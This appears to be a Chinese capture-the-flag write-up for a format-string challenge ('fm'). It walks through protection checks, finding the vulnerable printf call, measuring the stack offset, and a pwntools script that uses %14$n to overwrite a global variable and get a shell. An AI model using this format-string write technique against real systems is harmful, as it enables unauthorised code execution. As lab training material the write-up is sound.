拿到例题之后先查看一下保护
发现开启Canary(金丝雀),NX(栈不可执行),未开启地址随机化(PIE)
脱入ida查看伪代码发现当x等于4的时候执行/bin/sh
x的地址为0x0804A02C
发现格式化字符串漏洞,read函数读取用户输入,prinrf打印用户输入,导致printf参数可控
脱入gdb查看输入在栈上偏移
在0x080485C4的位置上下断点发现用户输入的偏移位置是11
当前已知:程序存在格式化字符串漏洞
当x=4时执行/bin/sh
x的地址为0x0804A02C
用户输入在栈上的偏移位置是11
编写exp
from pwn import *
p=process('fm')
#p=remote('node5.buuoj.cn',28553)
x_addr=0x0804A02C
payload="aaaa"+"%14$"+"naaa"+p32(x_addr).decode('unicode_escape')
p.sendline(payload)
p.interactive()
说一下为什么这里偏移变成了14,aaaa是第11个,%14$是第12个,naaa是第13个,x_addr就是第14个了
运行exp,x的值已经变为4执行/bin/sh,getshell